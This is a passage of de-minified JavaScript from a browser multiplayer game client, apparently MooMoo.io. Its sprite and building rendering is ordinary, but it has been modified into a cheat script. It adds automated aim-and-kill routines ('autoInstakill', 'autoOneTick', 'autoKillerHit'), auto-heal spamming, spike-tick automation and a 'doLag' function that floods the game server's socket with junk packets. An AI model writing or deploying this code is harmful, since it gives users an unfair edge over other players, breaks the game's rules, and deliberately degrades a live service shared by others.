Vi(U, ve),
ve.restore()));
}
function Vi(e, t) {
(t = t || ve).lineWidth = 5.5,
t.lineJoin = "miter";
var i = Math.PI / 4 * (l.weapons[e.weaponIndex].armS || 1)
, n = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndS || 1
, s = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndD || 1;
if (e.tailIndex > 0 && function(e, t, i) {
if (!(qi = Gi[e])) {
var n = new Image;
n.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
n.src = ".././img/accessories/access_" + e + ".png",
Gi[e] = n,
qi = n
}
var s = Ni[e];
if (!s) {
for (var o = 0; o < et.length; ++o)
if (et[o].id == e) {
s = et[o];
break
}
Ni[e] = s
}
qi.isLoaded && (t.save(),
t.translate(-20 - (s.xOff || 0), 0),
s.spin && t.rotate(i.skinRot),
t.drawImage(qi, -s.scale / 2, -s.scale / 2, s.scale, s.scale),
t.restore())
}(e.tailIndex, t, e),
e.buildIndex < 0 && !l.weapons[e.weaponIndex].aboveHand && (Ki(l.weapons[e.weaponIndex], r.weaponVariants[e.weaponVariant].src, e.scale, 0, t),
null == l.weapons[e.weaponIndex].projectile || l.weapons[e.weaponIndex].hideProjectile || Li(e.scale, 0, l.projectiles[l.weapons[e.weaponIndex].projectile], ve)),
t.fillStyle = r.skinColors[e.skinColor],
en(e.scale * Math.cos(i), e.scale * Math.sin(i), 14),
en(e.scale * s * Math.cos(-i * n), e.scale * s * Math.sin(-i * n), 14),
e.buildIndex < 0 && l.weapons[e.weaponIndex].aboveHand && (Ki(l.weapons[e.weaponIndex], r.weaponVariants[e.weaponVariant].src, e.scale, 0, t),
null == l.weapons[e.weaponIndex].projectile || l.weapons[e.weaponIndex].hideProjectile || Li(e.scale, 0, l.projectiles[l.weapons[e.weaponIndex].projectile], ve)),
e.buildIndex >= 0) {
var o = Zi(l.list[e.buildIndex]);
t.drawImage(o, e.scale - l.list[e.buildIndex].holdOffset, -o.width / 2)
}
en(0, 0, e.scale, t),
e.skinIndex > 0 && (t.rotate(Math.PI / 2),
function e(t, i, n, s) {
if (!(qi = Wi[t])) {
var o = new Image;
o.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
o.src = ".././img/hats/hat_" + t + ".png",
Wi[t] = o,
qi = o
}
var a = n || Xi[t];
if (!a) {
for (var r = 0; r < Ze.length; ++r)
if (Ze[r].id == t) {
a = Ze[r];
break
}
Xi[t] = a
}
qi.isLoaded && i.drawImage(qi, -a.scale / 2, -a.scale / 2, a.scale, a.scale),
!n && a.topSprite && (i.save(),
i.rotate(s.skinRot),
e(t + "_top", i, a, s),
i.restore())
}(e.skinIndex, t, null, e))
}
var qi, Wi = {}, Xi = {}, Gi = {}, Ni = {}, Yi = {};
function Ki(e, t, i, n, s) {
var o = e.src + (t || "")
, a = Yi[o];
a || ((a = new Image).onload = function() {
this.isLoaded = !0
}
,
a.src = ".././img/weapons/" + o + ".png",
Yi[o] = a),
a.isLoaded && s.drawImage(a, i + e.xOff - e.length / 2, n + e.yOff - e.width / 2, e.length, e.width)
}
var Ji = {};
function Qi(e) {
var t = e.y >= r.mapScale - r.snowBiomeTop ? 2 : e.y <= r.snowBiomeTop ? 1 : 0
, i = e.type + "_" + e.scale + "_" + t
, n = Ji[i];
if (!n) {
var s = document.createElement("canvas");
s.width = s.height = 2.1 * e.scale + 5.5;
var a = s.getContext("2d");
if (a.translate(s.width / 2, s.height / 2),
a.rotate(o.randFloat(0, Math.PI)),
a.strokeStyle = it,
a.lineWidth = 5.5,
0 == e.type)
for (var c, l = 0; l < 2; ++l)
tn(a, 7, c = U.scale * (l ? .5 : 1), .7 * c),
a.fillStyle = t ? l ? "#fff" : "#e3f1f4" : l ? "#b4db62" : "#9ebf57",
a.fill(),
l || a.stroke();
else if (1 == e.type)
if (2 == t)
a.fillStyle = "#606060",
tn(a, 6, .3 * e.scale, .71 * e.scale),
a.fill(),
a.stroke(),
a.fillStyle = "#89a54c",
en(0, 0, .55 * e.scale, a),
a.fillStyle = "#a5c65b",
en(0, 0, .3 * e.scale, a, !0);
else {
var h;
!function(e, t, i, n) {
var s, a = Math.PI / 2 * 3, r = Math.PI / 6;
e.beginPath(),
e.moveTo(0, -n);
for (var c = 0; c < 6; c++)
s = o.randInt(i + .9, 1.2 * i),
e.quadraticCurveTo(Math.cos(a + r) * s, Math.sin(a + r) * s, Math.cos(a + 2 * r) * n, Math.sin(a + 2 * r) * n),
a += 2 * r;
e.lineTo(0, -n),
e.closePath()
}(a, 0, U.scale, .7 * U.scale),
a.fillStyle = t ? "#e3f1f4" : "#89a54c",
a.fill(),
a.stroke(),
a.fillStyle = t ? "#6a64af" : "#c15555";
var u = I / 4;
for (l = 0; l < 4; ++l)
en((h = o.randInt(U.scale / 3.5, U.scale / 2.3)) * Math.cos(u * l), h * Math.sin(u * l), o.randInt(10, 12), a)
}
else
2 != e.type && 3 != e.type || (a.fillStyle = 2 == e.type ? 2 == t ? "#938d77" : "#939393" : "#e0c655",
tn(a, 3, e.scale, e.scale),
a.fill(),
a.stroke(),
a.fillStyle = 2 == e.type ? 2 == t ? "#b2ab90" : "#bcbcbc" : "#ebdca3",
tn(a, 3, .55 * e.scale, .65 * e.scale),
a.fill());
n = s,
Ji[i] = n
}
return n
}
var $i = [];
function Zi(e, t) {
var i = $i[e.id + (A && e.owner && e.owner.sid != A.sid && !isAlly(A, e.owner.sid) ? 25 : 0)];
if (!i || t) {
var n = document.createElement("canvas");
n.width = n.height = 2.5 * e.scale + 5.5 + (l.list[e.id].spritePadding || 0);
var s = n.getContext("2d");
if (s.translate(n.width / 2, n.height / 2),
s.rotate(t ? 0 : Math.PI / 2),
s.strokeStyle = it,
s.lineWidth = 5.5 * (t ? n.width / 81 : 1),
"apple" == e.name) {
s.fillStyle = "#c15555",
en(0, 0, e.scale, s),
s.fillStyle = "#89a54c";
var a = -Math.PI / 2;
!function(e, t, i, n, s) {
var o = e + 25 * Math.cos(n)
, a = t + 25 * Math.sin(n);
s.moveTo(e, t),
s.beginPath(),
s.quadraticCurveTo((e + o) / 2 + 10 * Math.cos(n + Math.PI / 2), (t + a) / 2 + 10 * Math.sin(n + Math.PI / 2), o, a),
s.quadraticCurveTo((e + o) / 2 - 10 * Math.cos(n + Math.PI / 2), (t + a) / 2 - 10 * Math.sin(n + Math.PI / 2), e, t),
s.closePath(),
s.fill(),
s.stroke()
}(e.scale * Math.cos(a), e.scale * Math.sin(a), 0, a + Math.PI / 2, s)
} else if ("cookie" == e.name) {
s.fillStyle = "#cca861",
en(0, 0, e.scale, s),
s.fillStyle = "#937c4b";
for (var r = I / (h = 4), c = 0; c < h; ++c)
en((u = o.randInt(e.scale / 2.5, e.scale / 1.7)) * Math.cos(r * c), u * Math.sin(r * c), o.randInt(4, 5), s, !0)
} else if ("cheese" == e.name) {
var h, u;
for (s.fillStyle = "#f4f3ac",
en(0, 0, e.scale, s),
s.fillStyle = "#c3c28b",
r = I / (h = 4),
c = 0; c < h; ++c)
en((u = o.randInt(e.scale / 2.5, e.scale / 1.7)) * Math.cos(r * c), u * Math.sin(r * c), o.randInt(4, 5), s, !0)
} else if ("wood wall" == e.name || "stone wall" == e.name || "castle wall" == e.name) {
s.fillStyle = "castle wall" == e.name ? "#83898e" : "wood wall" == e.name ? "#a5974c" : "#939393";
var d = "castle wall" == e.name ? 4 : 3;
tn(s, d, 1.1 * e.scale, 1.1 * e.scale),
s.fill(),
s.stroke(),
s.fillStyle = "castle wall" == e.name ? "#9da4aa" : "wood wall" == e.name ? "#c9b758" : "#bcbcbc",
tn(s, d, .65 * e.scale, .65 * e.scale),
s.fill()
} else if ("spikes" == e.name || "greater spikes" == e.name || "poison spikes" == e.name || "spinning spikes" == e.name) {
s.fillStyle = "poison spikes" == e.name ? "#7b935d" : "#939393";
var f = .6 * e.scale;
tn(s, "spikes" == e.name ? 5 : 6, e.scale, f),
s.fill(),
s.stroke(),
s.fillStyle = "#a5974c",
en(0, 0, f, s),
s.fillStyle = A && e.owner && e.owner.sid != A.sid && !isAlly(A, e.owner.sid) ? "#AA2C2C" : "#c9b758",
en(0, 0, f / 2, s, !0)
} else if ("windmill" == e.name || "faster windmill" == e.name || "power mill" == e.name)
s.fillStyle = "#a5974c",
en(0, 0, e.scale, s),
s.fillStyle = "#c9b758",
sn(0, 0, 1.5 * e.scale, 29, 4, s),
s.fillStyle = "#a5974c",
en(0, 0, .5 * e.scale, s);
else if ("mine" == e.name)
s.fillStyle = "#939393",
tn(s, 3, e.scale, e.scale),
s.fill(),
s.stroke(),
s.fillStyle = "#bcbcbc",
tn(s, 3, .55 * e.scale, .65 * e.scale),
s.fill();
else if ("sapling" == e.name)
for (c = 0; c < 2; ++c)
tn(s, 7, f = e.scale * (c ? .5 : 1), .7 * f),
s.fillStyle = c ? "#b4db62" : "#9ebf57",
s.fill(),
c || s.stroke();
else if ("pit trap" == e.name)
s.fillStyle = "#a5974c",
tn(s, 3, 1.1 * e.scale, 1.1 * e.scale),
s.fill(),
s.stroke(),
s.fillStyle = A && e.owner && e.owner.sid != A.sid && !isAlly(A, e.owner.sid) ? "#AA2C2C" : it,
tn(s, 3, .65 * e.scale, .65 * e.scale),
s.fill();
else if ("boost pad" == e.name)
s.fillStyle = "#7e7f82",
nn(0, 0, 2 * e.scale, 2 * e.scale, s),
s.fill(),
s.stroke(),
s.fillStyle = "#dbd97d",
function(e, t) {
t = t || ve;
var i = e * (Math.sqrt(3) / 2);
t.beginPath(),
t.moveTo(0, -i / 2),
t.lineTo(-e / 2, i / 2),
t.lineTo(e / 2, i / 2),
t.lineTo(0, -i / 2),
t.fill(),
t.closePath()
}(1 * e.scale, s);
else if ("turret" == e.name)
s.fillStyle = "#a5974c",
en(0, 0, e.scale, s),
s.fill(),
s.stroke(),
s.fillStyle = "#939393",
nn(0, -25, .9 * e.scale, 50, s),
en(0, 0, .6 * e.scale, s),
s.fill(),
s.stroke();
else if ("platform" == e.name) {
s.fillStyle = "#cebd5f";
var p = 2 * e.scale
, g = p / 4
, m = -e.scale / 2;
for (c = 0; c < 4; ++c)
nn(m - g / 2, 0, g, 2 * e.scale, s),
s.fill(),
s.stroke(),
m += p / 4
} else
"healing pad" == e.name ? (s.fillStyle = "#7e7f82",
nn(0, 0, 2 * e.scale, 2 * e.scale, s),
s.fill(),
s.stroke(),
s.fillStyle = "#db6e6e",
sn(0, 0, .65 * e.scale, 20, 4, s, !0)) : "spawn pad" == e.name ? (s.fillStyle = "#7e7f82",
nn(0, 0, 2 * e.scale, 2 * e.scale, s),
s.fill(),
s.stroke(),
s.fillStyle = "#71aad6",
en(0, 0, .6 * e.scale, s)) : "blocker" == e.name ? (s.fillStyle = "#7e7f82",
en(0, 0, e.scale, s),
s.fill(),
s.stroke(),
s.rotate(Math.PI / 4),
s.fillStyle = "#db6e6e",
sn(0, 0, .65 * e.scale, 20, 4, s, !0)) : "teleporter" == e.name && (s.fillStyle = "#7e7f82",
en(0, 0, e.scale, s),
s.fill(),
s.stroke(),
s.rotate(Math.PI / 4),
s.fillStyle = "#d76edb",
en(0, 0, .5 * e.scale, s, !0));
i = n,
t || ($i[e.id + (A && e.owner && e.owner.sid != A.sid && !isAlly(A, e.owner.sid) ? 25 : 0)] = i)
}
return i
}
function en(e, t, i, n, s, o) {
(n = n || ve).beginPath(),
n.arc(e, t, i, 0, 2 * Math.PI),
o || n.fill(),
s || n.stroke()
}
function tn(e, t, i, n) {
var s, o, a = Math.PI / 2 * 3, r = Math.PI / t;
e.beginPath(),
e.moveTo(0, -i);
for (var c = 0; c < t; c++)
s = Math.cos(a) * i,
o = Math.sin(a) * i,
e.lineTo(s, o),
a += r,
s = Math.cos(a) * n,
o = Math.sin(a) * n,
e.lineTo(s, o),
a += r;
e.lineTo(0, -i),
e.closePath()
}
function nn(e, t, i, n, s, o) {
s.fillRect(e - i / 2, t - n / 2, i, n),
o || s.strokeRect(e - i / 2, t - n / 2, i, n)
}
function sn(e, t, i, n, s, o, a) {
o.save(),
o.translate(e, t),
s = Math.ceil(s / 2);
for (var r = 0; r < s; r++)
nn(0, 0, 2 * i, n, o, a),
o.rotate(Math.PI / s);
o.restore()
}
function on(e) {
for (var t = 0; t < e.length; ){
tt.add(e[t], e[t + 1], e[t + 2], e[t + 3], e[t + 4], e[t + 5], l.list[e[t + 6]], !0, e[t + 7] >= 0 ? {
sid: e[t + 7]
} : null);
if(e[t + 7] >= 0){
addPla({sid: e[t + 7]});
}
t += 8
}
}
function an(e, t) {
if(U = Sn(t)){
U.lastWiggle = tick;
U.foundHitter = false;
U.xWiggle += r.gatherWiggle * Math.cos(e);
U.yWiggle += r.gatherWiggle * Math.sin(e);
}
}
function rn(e, t) {
if(U = Sn(e)){
U.dir = t;
U.xWiggle += r.gatherWiggle * Math.cos(t + Math.PI);
U.yWiggle += r.gatherWiggle * Math.sin(t + Math.PI);
}
}
function cn(e, t, i, n, s, o, a, r, isFixed) {
if(isFixed) {
let weapon = o == 0 ? 9 : o == 2 ? 12 : o == 3 ? 13 : o == 5 && (15);
for(let c = 0;c<players.length;c++){
let U = players[c];
if(U.visible && (o == 1 ? U.skinIndex == 53 : U.weaponIndex == weapon) && utils.getAngleDist(caf(U, {x: e, y: t}), U.d2) <= Math.PI/2.6 && cdf(U, {x: e - Math.cos(i)*35, y: t - Math.sin(i)*35}) <= 70){
if(o == 1) U.shootCount = 2500;
else U.reloads[weapon] = l.weapons[weapon].speed;
}
}
} else {
fixed.push({run: cn, datas: [e, t, i, n, s, o, a, r, true]});
K.addProjectile(e, t, i, n, s, o, null, null, a).sid = r;
}
}
function ln(e, t) {
for (var i = 0; i < Y.length; ++i)
Y[i].sid == e && (Y[i].range = t)
}
function hn(e) {
(U = xn(e)) && U.startAnim()
}
function un(e) {
animals = [];
for (var t = 0; t < W.length; ++t)
W[t].forcePos = !W[t].visible,
W[t].visible = !1;
if (e) {
var i = Date.now();
for (t = 0; t < e.length; ){
(U = xn(e[t])) ? (U.index = e[t + 1],
U.t1 = void 0 === U.t2 ? i : U.t2,
U.t2 = i,
U.x1 = U.x,
U.y1 = U.y,
U.x2 = e[t + 2],
U.y2 = e[t + 3],
U.d1 = void 0 === U.d2 ? e[t + 4] : U.d2,
U.d2 = e[t + 4],
U.health = e[t + 5],
U.dt = 0,
U.visible = !0) : ((U = $.spawn(e[t + 2], e[t + 3], e[t + 4], e[t + 1])).x2 = U.x,
U.y2 = U.y,
U.d2 = U.dir,
U.health = e[t + 5],
$.aiTypes[e[t + 1]].name || (U.name = r.cowNames[e[t + 6]]),
U.forcePos = !0,
U.sid = e[t],
U.visible = !0);
animals.push(U);
t += 7;
}
}
}
var dn = {};
function fn(e, t) {
var i = e.index
, n = dn[i];
if (!n) {
var s = new Image;
s.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
s.src = ".././img/animals/" + e.src + ".png",
n = s,
dn[i] = n
}
if (n.isLoaded) {
var o = 1.2 * e.scale * (e.spriteMlt || 1);
t.drawImage(n, -o, -o, 2 * o, 2 * o)
}
}
function pn(e, t, i) {
return e + i >= 0 && e - i <= ae && t + i >= 0 && t - i <= re
}
function addPla(e = {}){
if(!e.id && !e.sid) return false;
let i = typeof e.sid == "number" ? bn(e.sid) : (function(){
for (var t = 0; t < X.length; ++t)
if (X[t].id == e.id) return X[t];
}());
i || (i = new u(e.id,e.sid,r,o,K,tt,X,W,l,Ze,et), Object.assign(i, e), X.push(i));
return i;
}
function gn(e, t) {
var i = bn(e[1]) || function(e) {
for (var t = 0; t < X.length; ++t)
if (X[t].id == e)
return X[t];
return null
}(e[0]);
i || (i = new u(e[0],e[1],r,o,K,tt,X,W,l,Ze,et),
X.push(i)),
i.spawn(t ? H : null),
i.visible = !1,
i.x2 = void 0,
i.y2 = void 0,
i.setData(e),
t && (R = (A = i).x,
L = A.y,
Nt(),
Mi(),
Bi(),
Oi(0),
Ee.style.display = "block")
}
function mn(e) {
for (var t = 0; t < X.length; t++)
if (X[t].id == e) {
X.splice(t, 1);
break
}
}
function yn(e, t) {
A && (A.itemCounts[e] = t, updC(e, t))
}
function kn(e, t, i) {
A && (A[e] = t,
i && Mi())
}
var autoHeal;
function wn(e, t) {
if(U = findP(e)){
let a = t - U.health;
U.health = t;
if(U.health <= 0) {
return U.alive = false;
}
if(a < 0){
if(a == -5 * (U.skin?.dmgMult || 1) && U.dmgOverTime.time > -1){
U.dmgOverTime.time--;
}
let len = enemies.length;
if(A == U && U.skinIndex == 7 && a == -5 + (U.tailIndex == 13 ? 3 : 0)){
lastBullBleed = tick;
startBullBleed = 0;
}
U.lastBleed.amount = a;
U.lastBleed.time = tick;
U.lastBleed.healed = false;
} else if(a > 0){
if(!U.lastBleed.healed){
if(tick - U.lastBleed.time <= 1) {
U.shameCount = Math.min(7, U.shameCount + 1);
} else {
U.shameCount = Math.max(0, U.shameCount - 2);
}
U.lastBleed.healed = true;
}
}
if(A == U){
let minDamage = -30;
if(enemies.find(z => cdf(z, A) < 300) && ((a >= -17.7 && a <= -10) || a <= minDamage) && a != -50 * (A.skin?.dmgMult || 1)){
if(A.shameCount <= 5){
for(let v = 0;v<Math.ceil(60/l.list[A.items[0]].consume);v++) pf(A.items[0]);
if(A.shameCount <= 4 && A.health < 48) {
for(let v = 0;v<Math.ceil(70/l.list[A.items[0]].consume);v++) pf(A.items[0]);
}
} else {
equiper++;
forceEquip = [6, 13];
ef(forceEquip[0], 0);
ef(forceEquip[1], 1);
setTimeout(()=>{
forceEquip = [22, 13];
ef(forceEquip[0], 0);
ef(forceEquip[1], 1);
setTimeout(()=>{
equiper--;
}, oT);
}, oT);
}
}
if(A.health < 100){
clearInterval(autoHeal);
autoHeal = setInterval(() => {
if(A.alive && A.health < 100){
if(tick - A.lastBleed.time > 1){
for(let v = 0;v<Math.ceil((100-t)/l.list[A.items[0]].consume);v++) pf(A.items[0]) && clearInterval(autoHeal);
}
} else clearInterval(autoHeal);
}, 25);
}
} else if(isAlly(A, U)){
} else if(a < 0){
}
}
}
function doLag(){
for(let i=0;i<15;i++) s.socket.send(111111111);
}
var ticked = 0;
var fixed = [];
var oT = 1e3/9;
var animals = [];
var buildings = [];
var players = [], player = null;
var enemies = [], enemy = null;
var teammates = [], teammate = null;
var autoKillerHit = {
toDo: [],
run: function(other, damage){
if (autoKillerHit.toDo.length) return;
if (!other || !other.visible || other == A) return;
let ham = A.weapons[1] == 10;
let noEmpGuy = enemies.find(e => e.skinIndex != 22);
let tur = A.canShot(other, 1) && other == noEmpGuy;
let turDmg = tur ? 25 * (other.skin?.dmgMult || 1) : 0;
let health = other.health - (damage ?? 0);
if(health == 100) return;
let dist = cdf(A, other);
let stop = function() {
yi(A.weapons[0], true);
hf(false);
};
let hat = other.skinIndex == 11 ? 22 : 7;
let remBull = A.variants[A.weapons[0]].id > 0;
let priDamage = items.weapons[A.weapons[0]].dmg * A.variants[A.weapons[0]].val * (store.hats
.find(e => e.id == hat)?.dmgMultO || 1) * (other.skin?.dmgMult || 1);
let secDamage = 10 * A.variants[10].val * (other.skin?.dmgMult || 1);
if (!A.reloads[10] && ham && dist <= 133 && health <= secDamage + turDmg) {
let dir = caf(A, other);
autoKillerHit.toDo = [function() {
wf(dir);
ef(hat, 0);
ef(21, 1);
yi(A.weapons[1], true);
hf(true);
},];
let add = [];
if (health <= secDamage) {
add = [stop];
} else {
add = [stop, function() {
ef(53, 0);
}];
}
autoKillerHit.toDo.unshift(...add);
} else if (!A.reloads[A.weapons[0]] && health <= priDamage + turDmg * Number((A.weapons[0] == 5 ? A.variants[5].id < 2 : true)) && dist <= items.weapons[A.weapons[0]].range + 63) {
let dir = caf(A, other);
autoKillerHit.toDo = [function() {
wf(dir);
ef(hat, 0);
ef(21, 1);
yi(A.weapons[0], true);
hf(true);
},];
let add = [];
if (health <= priDamage) {
add = [stop];
} else {
add = [stop, function() {
ef(53, 0);
}];
}
autoKillerHit.toDo.unshift(...add);
} else if (!A.reloads[A.weapons[0]] && !A.reloads[10] && ham && dist <= 133 && health <= priDamage + secDamage) {
let dir = caf(A, other);
autoKillerHit.toDo = [stop, function() {
yi(A.weapons[0], true);
wf(dir);
}, function() {
wf(dir);
ef(hat, 0);
ef(21, 1);
yi(A.weapons[1], true);
hf(true);
},];
}
},
};
var reload1 = {
toggle: false
}
var autoOneTick = {
toggle: false,
auto: true,
stopHatting: false,
toDo: [],
run: function(other){
if (autoOneTick.toDo.length) return;
if (!other || !other.visible || other == A) return;
let canOT = other.skinIndex != 22 && other.skinIndex != 6;
let OTType = A.weapons[0] == 5 ? (A.items[4] == 16 && [12, 13].includes(A.weapons[1]) ? "boost pad" : A.variants[5].id >= 2 ? "polearm" : null) : null;
autoOneTick.stopHatting = false;
if(!OTType) return false;
let oldDist = cdf({x: A.x3, y: A.y3}, other);
let dist = cdf(A, other);
let dir = caf(A, other);
let oneTickDist = OTType == "polearm" ? [219, 221] : OTType == "boost pad" ? [383, 384] : [0, 0];
let doOneTick = () => {
mf(dir);
if(OTType == "polearm"){
autoOneTick.toDo = [function(){
mover--;
mf(null);
hf(false);
}, function() {
mf(dir);
ef(7, 0);
wf(dir);
hf(true);
}, function() {
mf(dir);
ef(53, 0);
ef(0, 1);
yi(A.weapons[0], true);
mover++;
}];
} else if(OTType == "boost pad"){
autoOneTick.toDo = [function(){
autoImg.autoOneTick.target = other.sid;
mover--;
mf(null);
hf(false);
}, function() {
autoImg.autoOneTick.target = other.sid;
yi(A.weapons[0], true);
mf(dir);
ef(7, 0);
wf(dir);
}, function() {
autoImg.autoOneTick.target = other.sid;
mf(dir);
ef(53, 0);
pf(A.items[4], dir);
yi(A.weapons[1], true);
hf(true);
mover++;
}];
}
};
if(other.inTrap && A.canShot(other, 1)){
if(autoOneTick.toggle){
if(dist >= oneTickDist[0]-40 && dist <= oneTickDist[1]+40){
autoImg.autoOneTick.target = other.sid;
if(dist >= oneTickDist[0] && dist <= oneTickDist[1]){
mf(null);
if(Math.abs(dist-oldDist)<5){
canOT && doOneTick();
}
} else {
ef(dist >= oneTickDist[0]-20 && dist <= oneTickDist[1]+20 ? 40 : 22, 0);
ef(0, 1);
mf(dist < oneTickDist[0] ? dir + Math.PI : dir);
autoOneTick.stopHatting = true;
}
} else {
mf(dist < oneTickDist[0] ? dir + Math.PI : dir);
}
} else if(canOT && dist >= oneTickDist[0] && dist <= oneTickDist[1] + 40){
autoImg.autoOneTick.target = other.sid;
if(dist <= oneTickDist[1]){
if(Math.abs(dist-oldDist)<35){
doOneTick();
}
} else {
ef(dist < oneTickDist[0] + 20 ? 40 : 22, 0);
ef(0, 1);
mf(dist < oneTickDist[0] ? dir + Math.PI : dir);
autoOneTick.stopHatting = true;
}
}
}
},
};
var autoInstakill = {
toggle: false,
toDo: [],
run: function(other, damage) {
if (autoInstakill.toDo.length) return;
if (!other || !other.visible || other == A) return;
if (j) return;
let ham = A.weapons[1] == 10;
let pro = A.weapons[1] && items.weapons[A.weapons[1]]?.projectile != undefined;
let proRang = pro ? items.projectiles[items.weapons[A.weapons[1]].projectile].range : 90000;
let proDmg = pro ? items.projectiles[items.weapons[A.weapons[1]].projectile].dmg : 0;
let noEmpGuy = enemies.find(e => e.skinIndex != 22);
let tur = A.canShot(other, 1) && other == noEmpGuy;
let turDmg = tur ? 25 * (other.skin?.dmgMult || 1) : 0;
let health = other.health - (damage ?? 0);
let stop = function() {
yi(A.weapons[0], true);
hf(false);
};
let dist = cdf(A, other);
let dir = caf(A, other);
let checkCondition = function(weapon, ...indxs) {
let dist = cdf(other, A);
return dist <= Math.min(ham ? 75 : pro ? proRang : 9999, items.weapons[A.weapons[0]].range) +
63 && indxs.every(indx => {
if (!A.canShot(other, indx)) return false;
return true;
});
};
if (A.weapons[0]) {
if (ham && A.canShot(other, 1)) {
let hat = other.skinIndex == 11 ? 22 : 7;
let remBull = A.variants[A.weapons[0]].id > 0;
let priDamage = items.weapons[A.weapons[0]].dmg * A.variants[A.weapons[0]].val * (store
.hats.find(e => e.id == hat)?.dmgMultO || 1) * (other.skin?.dmgMult || 1);
let secDamage = 10 * A.variants[10].val * (other.skin?.dmgMult || 1);
if (priDamage + secDamage * 1.5 + turDmg < health) return false;
autoImg.autoInstakill.target = other.sid;
if(dist > 75) return;
if (A.reloads[A.weapons[0]] || A.reloads[A.weapons[1]]) return;
autoInstakill.toDo = [function() {
ef(hat, 0);
yi(A.weapons[0], true);
wf(dir);
}, function() {
wf(dir);
ef(remBull ? 53 : hat, 0);
ef(21, 1);
yi(A.weapons[1], true);
hf(true);
}];
let add = [];
if (remBull) {
add = [stop];
} else {
add = [stop, function() {
ef(53, 0);
}];
}
autoInstakill.toDo.unshift(...add);
} else if (pro && A.canShot(other, items.weapons[A.weapons[1]].projectile)) {
let hat = other.skinIndex == 11 ? 22 : 7;
let priDamage = items.weapons[A.weapons[0]].dmg * A.variants[A.weapons[0]].val * (store
.hats.find(e => e.id == hat)?.dmgMultO || 1) * (other.skin?.dmgMult || 1);
let secDamage = proDmg * (other.skin?.dmgMult || 1);
if (priDamage + secDamage + turDmg < health) return false;
autoImg.autoInstakill.target = other.sid;
if(dist - 63 > items.weapons[A.weapons[0]].range) return;
if (A.reloads[A.weapons[0]] || A.reloads[A.weapons[1]]) return;
let dir = caf(A, other);
autoInstakill.toDo = [stop, function() {
ef(priDamage + secDamage >= health ? 6 : 53, 0);
yi(A.weapons[1], true);
wf(dir);
}, function() {
wf(dir);
ef(hat, 0);
ef(21, 1);
yi(A.weapons[0], true);
hf(true);
}];
let add = [];
autoInstakill.toDo.unshift(...add);
} else if (A.canShot(other, 1)) {
if(dist - 63 > items.weapons[A.weapons[0]].range) return;
if (A.shootCount || A.reloads[A.weapons[0]]) return;
}
}
},
};
var autoMill = {
toggle: false,
x: 0,
y: 0,
};
var autoPlacer = {
count: 0,
toggle: true
};
var placer = {
toggle: false,
itemIndex: 0,
};
var hitToggle = false;
var autoHitToggle = 0;
var autoWeaponCharger = {
needCharge: null,
};
var autoSpin = {
count: 0,
};
var antiSync = {
projectiles: {
shots: [],
time: 0,
},
weapons: {
hits: [],
time: 0,
},
};
var predicts = {
"12": {},
"7": {
info: [],
amount: [],
},
};
var packetEngine = {
count: 0,
};
setInterval(()=>packetEngine.count = 0, 1e3);
var oldWatchAngle = 0, oldMoveAngle = null, oldChatText = "", oldBuild = -1, oldWeapon = 0;
var sentDatas = {
lastTry: {
equip: {
skinIndex: 0,
tailIndex: 0,
},
buy: {
skinIndex: 0,
tailIndex: 0,
},
choose: [-1, null],
},
skins: [],
tails: [],
};
var scriptMode = "";
var lastBullBleed = 0;
var startBullBleed = 0;
var tick = 0;
var forceEquip = [];
var equiper = 0, watcher = 0, mover = 0;
var autos = [autoKillerHit, autoInstakill];
var anythingWorks = function() {
let anyAutoWorking = [...autos, autoOneTick].find(e => e.toDo.length);
return anyAutoWorking || equiper || watcher || mover;
};
var singing = {
audio: null,
name: "",
timeouts: [],
toggle: false,
};
var lastWorked = {
autoReplacer: false,
autoPlacer: false,
};
var autoImg = {
autoOneTick: {
image: "https://icones.pro/wp-content/uploads/2021/08/symbole-cible-rose.png",
target: null,
},
xd: {
image: "https://icones.pro/wp-content/uploads/2021/08/symbole-cible-noir.png",
target: null,
},
autoInstakill: {
image: "https://icones.pro/wp-content/uploads/2021/08/symbole-cible-rouge.png",
target: null,
},
};
[autoImg].forEach(each => {
Object.values(each).forEach(_each => {
let image = document.createElement("img");
image.src = _each.image;
image.loaded = false;
image.onload = function() {
image.loaded = true;
}
_each.image = image;
})
});
var lastEnemies = [];
var antiInstaWorked = 0;
var autoGrind = {
toggle: false,
};
var showTrapRadar = false;
function vn(e) {
//skid wespire XD
let doneSpikeTick = autoKillerHit.toDo.length ? true : false;
let trySpikeTick = function(t){
let spikeTickable;
!doneSpikeTick && (spikeTickable = enemies.find(e => e.skinIndex != 6 && cdf(A.buildItemPos(items.list[A.items[2]], t), e) <= 35 + items.list[A.items[2]].scale)) && (autoKillerHit.run(spikeTickable, items.list[A.items[2]].dmg), autoKillerHit.toDo.length && (doneSpikeTick = true));
}
let place = function(t, f){
trySpikeTick(f);
pf(t, f);
}
for(let i in autoImg){
autoImg[i].target = null;
}
tick++;
scriptMode = "none";
lastEnemies = enemies;
players = [];
player = null;
enemies = [];
enemy = null;
teammates = [];
teammate = null;
ticked = 0;
for (var t = Date.now(), i = 0; i < X.length; ++i)
X[i].forcePos = !X[i].visible,
X[i].visible = !1;
for (i = 0; i < e.length; ){
if(U = bn(e[i])) {
U.t1 = void 0 === U.t2 ? t : U.t2;
U.t2 = t;
U.x1 = U.x;
U.y1 = U.y;
U.x3 = U.x2;
U.y3 = U.y2;
U.x2 = e[i + 1];
U.y2 = e[i + 2];
U.d1 = void 0 === U.d2 ? e[i + 3] : U.d2;
U.d2 = e[i + 3];
if(U.dt > 200){
startBullBleed++;
}
U.dt = 0;
U.buildIndex = e[i + 4];
U.weaponIndex = e[i + 5];
U.weaponVariant = e[i + 6];
U.team = e[i + 7];
U.isLeader = e[i + 8];
U.skinIndex = e[i + 9];
U.tailIndex = e[i + 10];
U.skin = Ze.find(n => n.id == U.skinIndex);
U.tail = et.find(n => n.id == U.tailIndex);
U.iconIndex = e[i + 11];
U.zIndex = e[i + 12];
U.visible = !0;
U.weapons[Number(U.weaponIndex > 8)] = U.weaponIndex;
U.variants[U.weaponIndex] = config.weaponVariants[U.weaponVariant];
U.buildIndex == -1 && (U.reloads[U.weaponIndex] = Math.max(0, U.reloads[U.weaponIndex] - oT));
U.shootCount = Math.max(0, U.shootCount - oT);
U.inTrap = null;
if(U == A){
} else if(A.team && A.team == U.team){
teammates.push(U);
} else {
enemies.push(U);
}
players.push(U);
}
i += 13;
}
